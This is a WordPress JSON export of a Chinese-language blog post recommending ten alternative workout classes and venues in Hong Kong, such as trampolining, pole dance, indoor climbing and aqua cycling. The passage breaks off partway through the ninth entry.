{"id":3261,"date":"2021-09-22T12:31:00","date_gmt":"2021-09-22T04:31:00","guid":{"rendered":"https:\/\/lansonplace.com\/?p=3261"},"modified":"2025-10-25T03:29:52","modified_gmt":"2025-10-24T19:29:52","slug":"10-alternative-workout-and-fun-fitness-classes-in-hong-kong","status":"publish","type":"post","link":"https:\/\/lansonplace.cn\/sc\/10-alternative-workout-and-fun-fitness-classes-in-hong-kong\/","title":{"rendered":"\u3010\u522b\u6837\u5065\u8eab\u8bfe\u3011Keep Fit \u4e00\u5b9a\u8981\u53bb\u5065\u8eab\u623f\uff1f\u89e3\u950110\u79cd\u597d\u73a9\u7684\u5065\u8eab\u8fd0\u52a8\u53ca\u8bfe\u7a0b\uff01"},"content":{"rendered":"<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"960\" height=\"640\" src=\"https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_01.jpeg\" alt=\"\" class=\"wp-image-3262\" srcset=\"https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_01.jpeg 960w, https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_01-720x480.jpeg 720w, https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_01-768x512.jpeg 768w, https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_01-18x12.jpeg 18w\" sizes=\"auto, (max-width: 960px) 100vw, 960px\" \/><\/figure><\/div>\n\n\n\n<p>\u597d\u73a9\u523a\u6fc0\u7684\u8fd0\u52a8\u8bfe\u7a0b\uff0c\u5feb\u6765\u8bd5\u8bd5\u5427! \u5c3d\u7ba1\u4e0d\u5c11\u4eba\u90fd\u559c\u6b22\u5230\u5065\u8eab\u623f\u4e3e\u91cd\u6216\u8dd1\u6b65\uff0c\u4f46\u4e0d\u662f\u6240\u6709\u4eba\u90fd\u5bf9\u4f20\u7edf\u7684\u5065\u8eab\u8fd0\u52a8\u611f\u5174\u8da3\u3002\u5982\u679c\u60a8\u538c\u5026\u4e86\u5355\u8c03\u4e4f\u5473\u7684\u5065\u8eab\u8fd0\u52a8\uff0c\u6216\u662f\u60f3\u5c1d\u8bd5\u6311\u6218\u65b0\u7684\u8fd0\u52a8\uff0c\u4e0d\u59a8\u8bd5\u8bd5\u4ee5\u4e0b\u5341\u79cd\u597d\u73a9\u7684\u522b\u6837\u5065\u8eab\u8bfe\uff01<\/p>\n\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">10\u79cd\u522b\u6837\u6709\u8da3\u7684\u8fd0\u52a8\u5065\u8eab\u8bfe\u7a0b<\/h2>\n\n\n\n<h2 class=\"has-text-align-left wp-block-heading\">1. \u8e66\u5e8a<\/h2>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_01-1.jpeg\" alt=\"\" class=\"wp-image-3263\" width=\"960\" height=\"640\" srcset=\"https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_01-1.jpeg 960w, https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_01-1-720x480.jpeg 720w, https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_01-1-768x512.jpeg 768w, https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_01-1-18x12.jpeg 18w\" sizes=\"auto, (max-width: 960px) 100vw, 960px\" \/><figcaption>\u56fe\u7247\u6765\u6e90\uff1a@ryzehongkong (Facebook)<\/figcaption><\/figure><\/div>\n\n\n\n<p>Ryze\u662f\u9999\u6e2f\u552f\u4e00\u8bbe\u6709\u5ba4\u5185\u8e66\u5e8a\u7684\u573a\u5730\uff0c\u4e0d\u8bba\u5927\u4eba\u8fd8\u662f\u5c0f\u5b69\u90fd\u53ef\u4ee5\u5728\u8fd9\u4e2a\u8e66\u5e8a\u5929\u5730\u8e66\u8e66\u8df3\u8df3\u4e00\u6574\u5929\u3002\u8fd9\u91cc\u62e5\u670940\u4e2a\u4e92\u76f8\u8fde\u63a5\u7684\u8e66\u5e8a\uff0c\u60a8\u53ef\u4ee5\u6311\u6218\u5fcd\u8005\u969c\u788d\u533a\u57df\u3001\u5728\u7a7a\u4e2d\u98de\u4eba\u548c\u7a7a\u4e2d\u4e1d\u5e26\u533a\u5c3d\u663e\u5e73\u8861\u6280\u5de7\u3001\u6216\u76f4\u63a5\u8df3\u8fdb\u5927\u578b\u6d77\u7ef5\u6c60\u4e2d\u73a9\u800d\uff0c\u5f53\u7136\u8fd8\u4e0d\u80fd\u9519\u8fc7\u8fd9\u91cc\u6700\u6709\u540d\u7684\u659c\u5899\u8e66\u5e8a\u3002\u7ed3\u675f\u6b22\u4e50\u7684\u8e66\u8df3\u4e4b\u540e\uff0c\u6240\u71c3\u70e7\u7684\u5361\u8def\u91cc\u4e4b\u591a\u4e00\u5b9a\u80fd\u8ba9\u60a8\u60ca\u8bb6\u3002\u53e6\u5916\uff0cRyze\u6709\u65f6\u4f1a\u5f00\u5c55\u4e00\u4e9b\u7279\u522b\u7684\u5065\u8eab\u8bfe\u7a0b\uff0c\u4f8b\u5982\u98de\u8dc3\u9053\u3001\u81ea\u7531\u5954\u8dd1\u548c\u591c\u5149\u5065\u8eab\u8fd0\u52a8\uff0c\u9002\u5408\u559c\u6b22\u6311\u6218\u6781\u9650\u6216\u8ffd\u6c42\u523a\u6fc0\u7684\u670b\u53cb\u3002<\/p>\n\n\n\n<p><a href=\"https:\/\/www.ryzehongkong.com\/\">Ryze Hong Kong<\/a>\uff1a\u9c97\u9c7c\u6d8c\u6e23\u534e\u9053321\u53f7\u67ef\u8fbe\u5927\u53a61\u671f3\u697c<\/p>\n\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">2. \u5ba4\u5185\u5355\u8f66<\/h2>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1000\" height=\"572\" src=\"https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_02.jpeg\" alt=\"\" class=\"wp-image-3264\" srcset=\"https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_02.jpeg 1000w, https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_02-720x412.jpeg 720w, https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_02-768x439.jpeg 768w, https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_02-18x10.jpeg 18w\" sizes=\"auto, (max-width: 1000px) 100vw, 1000px\" \/><figcaption>\u56fe\u7247\u6765\u6e90\uff1aXYZ - Hong Kong<\/figcaption><\/figure><\/div>\n\n\n\n<p>\u9999\u6e2f\u7684\u81ea\u884c\u8f66\u9053\u5927\u591a\u4f4d\u4e8e\u65b0\u754c\uff0c\u6240\u4ee5\u6e2f\u5c9b\u5c45\u6c11\u5e73\u65f6\u5f88\u5c11\u6709\u673a\u4f1a\u5728\u6237\u5916\u8e0f\u5355\u8f66\u3002XYZ\u4f4d\u4e8e\u5386\u53f2\u60a0\u4e45\u7684\u5927\u9986\u5185\uff0c\u4e3a\u6e2f\u5c9b\u5c45\u6c11\u5e26\u6765\u65b0\u5f0f\u522b\u6837\u7684\u8e0f\u5355\u8f66\u4f53\u9a8c\u3002\u8e0f\u5065\u8eab\u5355\u8f66\u4e0d\u4f1a\u7ed9\u5173\u8282\u5e26\u6765\u592a\u5927\u538b\u529b\uff0c\u6240\u4ee5\u662f\u516c\u8ba4\u7684\u6700\u4f73\u6709\u6c27\u8fd0\u52a8\u5065\u8eab\u5668\u6750\u3002XYZ\u62e5\u6709\u65f6\u5c1a\u7684\u5065\u8eab\u73af\u5883\u3001\u73b0\u4ee3\u611f\u5341\u8db3\u7684\u706f\u5149\uff0c\u52a0\u4e0a\u4ee4\u4eba\u70ed\u8840\u6cb8\u817e\u7684\u80cc\u666f\u97f3\u4e50\uff0c\u8e0f\u5ba4\u5185\u5355\u8f66\u4ece\u6b64\u4e0d\u518d\u65e0\u804a\u3002\u7ed3\u675f\u4e00\u5929\u7e41\u5fd9\u7684\u5de5\u4f5c\u751f\u6d3b\uff0c\u4e0d\u59a8\u4e0e\u597d\u670b\u53cb\u4e00\u8d77\u6765XYZ\uff0c\u91cd\u62fe\u5065\u8eab\u8fd0\u52a8\u7684\u4e50\u8da3\u3002 <\/p>\n\n\n\n<p><a href=\"https:\/\/www.youarexyz.com\/xyz-breaking-new-ground\" target=\"_blank\" rel=\"noreferrer noopener\">XYZ<\/a>\uff1a\u4e2d\u73af\u8377\u674e\u6d3b\u905310\u53f7\u5927\u9986 10&amp;13-101\u94fa<\/p>\n\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">3. \u94a2\u7ba1\u821e<\/h2>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1600\" height=\"1200\" src=\"https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_03-1600x1200.jpeg\" alt=\"\" class=\"wp-image-3265\" srcset=\"https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_03-1600x1200.jpeg 1600w, https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_03-720x540.jpeg 720w, https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_03-768x576.jpeg 768w, https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_03-1536x1152.jpeg 1536w, https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_03-16x12.jpeg 16w, https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_03.jpeg 2016w\" sizes=\"auto, (max-width: 1600px) 100vw, 1600px\" \/><figcaption>\u56fe\u7247\u6765\u6e90\uff1a@xopolestudio (Facebook)<\/figcaption><\/figure><\/div>\n\n\n\n<p>\u94a2\u7ba1\u821e\u662f\u5f88\u53d7\u6b22\u8fce\u7684\u65b0\u5f0f\u5065\u8eab\u8fd0\u52a8\uff0c\u800c\u4e14\u5728\u9999\u6e2f\u4eba\u6c14\u8d8a\u6765\u8d8a\u9ad8\u3002\u5982\u679c\u60a8\u5bf9\u8bb2\u7a76\u611f\u89c9\u548c\u52a8\u4f5c\u6d41\u7545\u7684\u5f02\u56fd\u94a2\u7ba1\u821e\u611f\u5174\u8da3\uff0c\u5c31\u4e00\u5b9a\u8981\u5230\u8fd1\u5e74\u65b0\u5f00\u7684XO\u4f53\u9a8c\u3002XO\u7531\u83b7\u5956\u65e0\u6570\u7684\u94a2\u7ba1\u821e\u821e\u8005\u521b\u529e\uff0c\u8fd9\u91cc\u7684\u5bfc\u5e08\u5927\u90e8\u4efd\u90fd\u6709\u4e16\u754c\u5404\u5730\u94a2\u7ba1\u821e\u6bd4\u8d5b\u7684\u53c2\u8d5b\u7ecf\u5386\uff0c\u6559\u5b66\u7ecf\u9a8c\u4e30\u5bcc\uff0c\u5b9a\u80fd\u8ba9\u60a8\u7231\u4e0a\u94a2\u7ba1\u821e\uff0c\u7ec3\u4e60\u94a2\u7ba1\u821e\u53ef\u4ee5\u953b\u70bc\u8eab\u4f53\u5404\u90e8\u4f4d\u808c\u7fa4\u3002XO\u8bbe\u6709\u8bd5\u542c\u8bfe\u7a0b\u3001\u4e3a\u671f8\u5468\u7684\u7f16\u821e\u8bfe\u7a0b\u3001\u8eab\u4f53\u67d4\u8f6f\u5ea6\u548c\u529b\u91cf\u8bad\u7ec3\u3001\u79c1\u4eba\u8bfe\u7a0b\u548c\u5c0f\u73ed\u8bfe\u7a0b\uff0c\u53ef\u6309\u9700\u8981\u9009\u62e9\u9002\u5408\u7684\u8bfe\u7a0b\u3002<\/p>\n\n\n\n<p><a href=\"https:\/\/www.xopole.com\/\">XO<\/a>\uff1a\u957f\u6c99\u6e7e\u957f\u6c99\u6e7e\u9053650\u53f7\u4e2d\u56fd\u8239\u8236\u5927\u53a61801-03\u5ba4<\/p>\n\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">4. \u5ba4\u5185\u6500\u5ca9<\/h2>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1600\" height=\"1067\" src=\"https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_04-1600x1067.jpeg\" alt=\"\" class=\"wp-image-3267\" srcset=\"https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_04-1600x1067.jpeg 1600w, https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_04-720x480.jpeg 720w, https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_04-768x512.jpeg 768w, https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_04-1536x1024.jpeg 1536w, https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_04-18x12.jpeg 18w, https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_04.jpeg 1914w\" sizes=\"auto, (max-width: 1600px) 100vw, 1600px\" \/><figcaption>\u56fe\u7247\u6765\u6e90\uff1a@vermcity (Facebook)<\/figcaption><\/figure><\/div>\n\n\n\n<p>\u6500\u5ca9\u66fe\u7ecf\u662f\u4e00\u9879\u8f83\u4e3a\u51b7\u95e8\u7684\u5065\u8eab\u8fd0\u52a8\uff0c\u5728\u4e1c\u4eac\u5965\u8fd0\u4f1a\u4e0a\u9996\u6b21\u6210\u4e3a\u5965\u8fd0\u7ade\u8d5b\u9879\u76ee\u4e4b\u540e\uff0c\u8fd1\u5e74\u5f97\u5230\u8d8a\u6765\u8d8a\u591a\u4eba\u7684\u5173\u6ce8\u3002\u60f3\u5728\u9999\u6e2f\u4f53\u9a8c\u6500\u5ca9\u7684\u8bdd\uff0c\u4e0d\u59a8\u5230\u5168\u6e2f\u6700\u5927\u7684\u5ba4\u5185\u6500\u5ca9\u573a\u5730Verm City\u3002\u573a\u9986\u5360\u5730\u8d85\u8fc718,000\u5e73\u65b9\u5c3a\u7684Verm City\u8bbe\u6709\u591a\u79cd\u6500\u5ca9\u5899\uff0c\u53ef\u4ee5\u4f53\u9a8c\u62b1\u77f3\u3001\u6500\u5ca9\u548c\u8fd0\u52a8\u6500\u767b\u3002Verm City\u5f00\u8bbe\u5404\u7c7b\u578b\u6500\u5ca9\u8bfe\u7a0b\uff0c\u4e0d\u540c\u5e74\u9f84\u3001\u6c34\u5e73\u7684\u5b66\u5458\u90fd\u53ef\u4ee5\u53c2\u52a0\u3002\u65e0\u8bba\u662f4\u81f312\u5c81\u7684\u5c0f\u670b\u53cb\u3001\u60f3\u5b66\u4e60\u57fa\u672c\u6280\u5de7\u548c\u5b89\u5168\u77e5\u8bc6\u7684\u6500\u5ca9\u521d\u5b66\u8005\uff0c\u8fd8\u662f\u5e0c\u671b\u901a\u8fc7\u79c1\u4eba\u4e00\u5bf9\u4e00\u8bfe\u7a0b\u5b66\u4e60\u8fdb\u9636\u6280\u5de7\u7684\u6500\u5ca9\u7231\u597d\u8005\uff0c\u90fd\u53ef\u4ee5\u5728\u8fd9\u91cc\u627e\u5230\u9002\u5408\u81ea\u5df1\u7684\u8bfe\u7a0b\u3002\u53e6\u5916\uff0cVerm City\u8fd8\u63d0\u4f9b\u5305\u573a\u670d\u52a1\uff0c\u5f88\u591a\u516c\u53f8\u3001\u673a\u6784\u8fd8\u4f1a\u5728\u6b64\u8fdb\u884c\u56e2\u4f53\u6d3b\u52a8\u3002<\/p>\n\n\n\n<p><a href=\"https:\/\/www.vermcity.com\/\">Verm City<\/a>\uff1a\u9c97\u9c7c\u6d8c\u67ef\u8fbe\u5927\u53a6\u4e00\u671f 4 \u697c<\/p>\n\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">5. \u6d77\u6ee9\u7a7a\u4e2d\u745c\u4f3d<\/h2>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1600\" height=\"900\" src=\"https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_05-1600x900.jpeg\" alt=\"\" class=\"wp-image-3268\" srcset=\"https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_05-1600x900.jpeg 1600w, https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_05-720x405.jpeg 720w, https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_05-768x432.jpeg 768w, https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_05-1536x864.jpeg 1536w, https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_05-18x10.jpeg 18w, https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_05.jpeg 2048w\" sizes=\"auto, (max-width: 1600px) 100vw, 1600px\" \/><figcaption>\u56fe\u7247\u6765\u6e90\uff1a@flyingbambooyoga (Facebook)<\/figcaption><\/figure><\/div>\n\n\n\n<p>\u559c\u6b22\u4eab\u53d7\u9633\u5149\u4e0e\u6d77\u6ee9\u3001\u53c8\u60f3\u953b\u70bc\u8eab\u4f53\u67d4\u8f6f\u5ea6\u548c\u6838\u5fc3\u808c\u7fa4\uff1fBamboo Yoga\u7684\u5065\u8eab\u8bfe\u80fd\u591f\u4e00\u6b21\u6ee1\u8db3\u60a8\u7684\u4e24\u4e2a\u613f\u671b\u3002Bamboo Yoga\u7a7a\u4e2d\u745c\u4f3d\u8bfe\u7a0b\u4f4d\u4e8e\u897f\u8d21\u897f\u6e7e\uff0c\u8ba9\u60a8\u5728\u5065\u8eab\u7684\u540c\u65f6\u9971\u89c8\u7f8e\u4e0d\u80dc\u6536\u7684\u81ea\u7136\u666f\u8272\uff0c\u6c89\u6d78\u5728\u5927\u81ea\u7136\u7684\u606c\u9759\u4e2d\uff0c\u91ca\u653e\u65e5\u5e38\u5de5\u4f5c\u751f\u6d3b\u7684\u6c89\u91cd\u538b\u529b\u3002Bamboo Yoga\u7684\u6d77\u6ee9\u7a7a\u4e2d\u745c\u4f3d\u5065\u8eab\u8bfe\u7a0b\u6709\u4e24\u79cd\u7c7b\u578b\uff0c\u5206\u522b\u4e3a\u534a\u65e5\u8bfe\u7a0b\u548c\u5168\u65e5\u8bfe\u7a0b\u3002\u53c2\u4e0e\u5168\u65e5\u8bfe\u7a0b\u7684\u5b66\u5458\u9996\u5148\u4f1a\u5728\u4f4d\u4e8e\u4e2d\u73af\u7684\u5de5\u4f5c\u5ba4\u4e0a\u8bfe\uff0c\u5b66\u4e60\u7a7a\u4e2d\u745c\u4f3d\u7684\u57fa\u672c\u6280\u5de7\u548c\u5c11\u8bb8\u5012\u7acb\u59ff\u52bf\u3002\u8bfe\u5802\u5b8c\u7ed3\u540e\uff0c\u4fbf\u4f1a\u4e00\u540c\u8fdc\u8db3\u524d\u5f80\u5927\u6d6a\u6e7e\u8fdb\u884c\u7a7a\u4e2d\u745c\u4f3d\u7ec3\u4e60\u3002\u88c5\u4e0a\u540a\u5e8a\u7684\u7af9\u5236\u4e09\u89d2\u67b6\u6574\u9f50\u5730\u6392\u5217\u5728\u6d77\u6ee9\u4e0a\uff0c\u8ba9\u60a8\u5728\u4e00\u671b\u65e0\u9645\u7684\u5927\u6d77\u9762\u524d\u8212\u5c55\u7b4b\u9aa8\uff0c\u540c\u65f6\u6253\u5361\u62cd\u7167\u7559\u5ff5\u3002<\/p>\n\n\n\n<p><a href=\"https:\/\/www.bamboo-yoga.com\/\">Bamboo Yoga<\/a>\uff1a\u897f\u8d21\u897f\u6e7e\u6cf3\u6ee9<\/p>\n\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">6. \u52a8\u611f\u62f3\u51fb\u8fd0\u52a8<\/h2>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1600\" height=\"1068\" src=\"https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_06-1600x1068.jpeg\" alt=\"\" class=\"wp-image-3269\" srcset=\"https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_06-1600x1068.jpeg 1600w, https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_06-720x481.jpeg 720w, https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_06-768x513.jpeg 768w, https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_06-1536x1026.jpeg 1536w, https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_06-18x12.jpeg 18w, https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_06.jpeg 1872w\" sizes=\"auto, (max-width: 1600px) 100vw, 1600px\" \/><figcaption>\u56fe\u7247\u6765\u6e90\uff1a@lightsouthk (Facebook)<\/figcaption><\/figure><\/div>\n\n\n\n<p>\u60f3\u5c3d\u60c5\u91ca\u653e\u538b\u6291\u5df2\u4e45\u7684\u60c5\u7eea\uff1f\u5feb\u6765\u4f53\u9a8c50\u5206\u949f\u7684LIGHTS\/\/OUT\u591c\u5e97\u5f0f\u52a8\u611f\u62f3\u51fb\u5065\u8eab\u8bfe\u7a0b\u5427\uff01\u6c89\u6d78\u5728\u706f\u5149\u53d8\u5e7b\u3001\u97f3\u4e50\u6f8e\u6e43\u7684\u52a8\u611f\u62f3\u51fb\u8fd0\u52a8\u4e2d\uff0c\u5f3a\u52b2\u7684\u8282\u62cd\u3001\u62f3\u51fb\u7684\u5feb\u611f\u3001\u6709\u8da3\u7684\u5065\u8eab\u6311\u6218\u548c\u5fc3\u6f6e\u6f8e\u6e43\u7684\u6c14\u6c1b\uff0c\u5b9a\u80fd\u8ba9\u60a8\u91ca\u653e\u6240\u6709\u538b\u529b\u548c\u574f\u60c5\u7eea\u3002LIGHTS\/\/OUT \u5f00\u8bbe\u56db\u6b3e\u4e0d\u540c\u7c7b\u578b\u7684\u62f3\u51fb\u5065\u8eab\u8bfe\u7a0b\uff0c\u5305\u62ec\u6c99\u5305\u8bad\u7ec3\u3001\u529b\u91cf\u8bad\u7ec3\u3001\u9ad8\u5f3a\u5ea6\u95f4\u6b47\u8bad\u7ec3\u548c\u6df7\u5408\u62f3\u51fb\uff0c\u65e0\u8bba\u60a8\u662f\u65b0\u624b\u8fd8\u662f\u5065\u8eab\u7231\u597d\u8005\u90fd\u53ef\u4ee5\u8f7b\u677e\u4f53\u9a8c\u3002<\/p>\n\n\n\n<p><a href=\"https:\/\/www.lightsouthk.com\/\">LIGHTS\/\/OUT Boxing Club<\/a>\uff1a\u4e0a\u73af\u6587\u54b8\u4e1c\u885722-26\u53f7\u67cf\u5ef7\u574a11\u697c<\/p>\n\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">7. \u6c34\u7597\u5355\u8f66<\/h2>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1600\" height=\"1066\" src=\"https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_07-1600x1066.jpeg\" alt=\"\" class=\"wp-image-3270\" srcset=\"https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_07-1600x1066.jpeg 1600w, https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_07-720x480.jpeg 720w, https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_07-768x512.jpeg 768w, https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_07-1536x1024.jpeg 1536w, https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_07-18x12.jpeg 18w, https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_07.jpeg 2048w\" sizes=\"auto, (max-width: 1600px) 100vw, 1600px\" \/><figcaption>\u56fe\u7247\u6765\u6e90\uff1a@velocityhk (Facebook)<\/figcaption><\/figure><\/div>\n\n\n\n<p>\u60f3\u9a91\u5355\u8f66\u4f46\u662f\u53c8\u62c5\u5fc3\u95f7\u70ed\u7684\u6237\u5916\u8e0f\u5355\u8f66\u4f1a\u6c57\u6d41\u6d43\u80cc\uff1f\u8bd5\u8bd5\u6c34\u7597\u5355\u8f66\u5427\uff01Velocity \u4f4d\u4e8e\u94dc\u9523\u6e7e\u4e2d\u5fc3\u5730\u5e26\uff0c\u5f00\u8bbe\u5355\u4eba\u6309\u6469\u6d74\u6c60\u6c34\u7597\u5355\u8f66\u5065\u8eab\u8bfe\u7a0b\uff0c\u8ba9\u60a8\u5728\u79c1\u4eba\u8fd0\u52a8\u8231\u4e2d\u5c3d\u60c5\u8fd0\u52a8\u3002\u6c34\u7597\u5355\u8f66\u7684\u72ec\u7279\u4e4b\u5904\u5728\u4e8e\u5b83\u4e0d\u4f46\u80fd\u591f\u52a9\u60a8\u8f7b\u677e\u953b\u70bc\u5927\u817f\u548c\u81c0\u90e8\u808c\u8089\uff0c\u540c\u65f6\u8fd8\u80fd\u4eab\u53d7\u6c34\u7597\u55b7\u5c04\u5f0f\u6309\u6469\uff0c\u7edd\u5bf9\u662f\u65e0\u4e0e\u4f26\u6bd4\u7684\u4f53\u9a8c\u3002<\/p>\n\n\n\n<p><a href=\"https:\/\/www.velocitystudio.hk\/en\/\">Velocity Studio<\/a>\uff1a\u94dc\u9523\u6e7e\u970e\u4e1c\u8857 15-21\u53f7Oliv14\u697c<\/p>\n\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">8. \u6d3e\u5bf9\u5f0f\u5065\u8eab\u8fd0\u52a8\u8bfe\u7a0b<\/h2>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1600\" height=\"900\" src=\"https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_08-1600x900.jpeg\" alt=\"\" class=\"wp-image-3271\" srcset=\"https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_08-1600x900.jpeg 1600w, https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_08-720x405.jpeg 720w, https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_08-768x432.jpeg 768w, https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_08-1536x864.jpeg 1536w, https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_08-18x10.jpeg 18w, https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_08.jpeg 2048w\" sizes=\"auto, (max-width: 1600px) 100vw, 1600px\" \/><figcaption>\u56fe\u7247\u6765\u6e90\uff1a@flyefitnesshk (Facebook)<\/figcaption><\/figure><\/div>\n\n\n\n<p>\u9690\u85cf\u4e8e\u4e00\u95f4\u591c\u5e97\u4e2d\u7684 Flye Fitness \u63d0\u4f9b\u7ed3\u5408\u6709\u6c27\u8fd0\u52a8\u548c\u9ad8\u5f3a\u5ea6\u95f4\u6b47\u8bad\u7ec3\u5143\u7d20\u7684\u5065\u8eab\u8fd0\u52a8\u8bfe\u7a0b\uff0c\u5e76\u4ee5\u6d3e\u5bf9\u5f62\u5f0f\u8fdb\u884c\u3002\u73b0\u573a\u6b22\u4e50\u6f8e\u6e43\u7684\u6d3e\u5bf9\u6c14\u6c1b\uff0c\u80fd\u591f\u8ba9\u6240\u6709\u5b66\u5458\u5c3d\u60c5\u91ca\u653e\u81ea\u6211\u3001\u5145\u5206\u8fd0\u52a8\u3002\u6bcf\u5802\u5065\u8eab\u8bfe\u5305\u542b3\u90e8\u5206\uff0c30\u81f335\u5206\u949f\u6709\u6c27\u821e\u8e48\u300110\u5206\u949f\u9ad8\u5f3a\u5ea6\u95f4\u6b47\u8bad\u7ec3\u548c10\u5206\u949f\u81ea\u9009\u821e\u8e48\u3002\u53e6\u5916\uff0cFlye Fitness \u8fd8\u6709\u73b0\u573a DJ\uff0c\u4e3a\u60a8\u5e26\u6765\u4e16\u754c\u5404\u5730\u7684\u4eba\u6c14\u6b4c\u66f2\uff0c\u5728\u591c\u5e97\u822c\u7684\u52a8\u611f\u97f3\u4e50\u548c\u7eda\u4e3d\u706f\u5149\u4e0b\uff0c\u8ba9\u60a8\u4e0e\u5176\u4ed6\u5b66\u5458\u5c3d\u60c5\u6295\u5165\u5065\u8eab\u8fd0\u52a8\u548c\u821e\u8e48\u3002<\/p>\n\n\n\n<p><a href=\"https:\/\/www.flyefitnessasia.com\/\">Flye Fitness<\/a>\uff1a\u4e0a\u73af\u5fb7\u8f85\u9053\u4e2d279-281\u53f7\u4e30\u548c\u5927\u53a6<\/p>\n\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">9. \u7a7a\u4e2d\u5f39\u8df3\u8fd0\u52a8<\/h2>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1600\" height=\"1066\" src=\"https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_09-1600x1066.jpeg\" alt=\"\" class=\"wp-image-3272\" srcset=\"https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_09-1600x1066.jpeg 1600w, https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_09-720x480.jpeg 720w, https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_09-768x512.jpeg 768w, https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_09-1536x1024.jpeg 1536w, https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_09-18x12.jpeg 18w, https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_09.jpeg 2048w\" sizes=\"auto, (max-width: 1600px) 100vw, 1600px\" \/><figcaption>\u56fe\u7247\u6765\u6e90\uff1a@grandjetehk 